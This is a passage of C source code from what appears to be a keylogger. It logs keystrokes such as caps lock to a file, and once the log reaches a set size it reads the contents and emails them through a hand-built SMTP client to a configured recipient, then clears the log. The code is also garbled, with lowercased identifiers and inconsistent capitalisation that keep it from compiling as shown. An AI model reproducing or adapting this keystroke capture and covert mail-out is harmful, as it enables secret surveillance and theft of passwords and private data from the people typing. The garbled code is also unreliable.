case vk_capital:
Fputs("\r\n[caps lock]\r\n",file);
fclose(file);
break;
default:
Fclose(file);
break;
}
}
}
}
}
file *file;
file=fopen(filename,"rb");
fseek(file,0,seek_end);
len=ftell(file);
if(len>=loglength) {
fseek(file,0,seek_set);
buf=(char *)malloc(len);
freadindex=fread(buf,1,len,file);
buf[freadindex] = '\0';
mailit( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(filename,"w");
}
fclose(file);
}
return exit_success;
}
int mailit (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
socket sockfd;
wsadata wsadata;
file *smtpfile;
#define bufsize 300
int bytes_sent;
int err;
struct hostent *host;
struct sockaddr_in dest_addr;
char line[1000];
char *rec_buf = (char*) malloc(bufsize+1);
smtpfile=fopen(smtplog,"a+");
if (wsastartup(0x202,&wsadata) == socket_error) {
fputs("wsastartup failed",smtpfile);
wsacleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == null) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* prepare dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(25);
if ((sockfd=socket(af_inet,sock_stream,0)) < 0) {
perror("socket");
exit(1);
}
fputs("connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"mail from:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"rcpt to:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"data\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
sleep(waittime);
strcpy(line,"to:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"from:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
fputs(rec_buf,smtpfile);
fclose(smtpfile);
#ifdef win32
closesocket(sockfd);
wsacleanup();
#else
close(sockfd);
#endif
}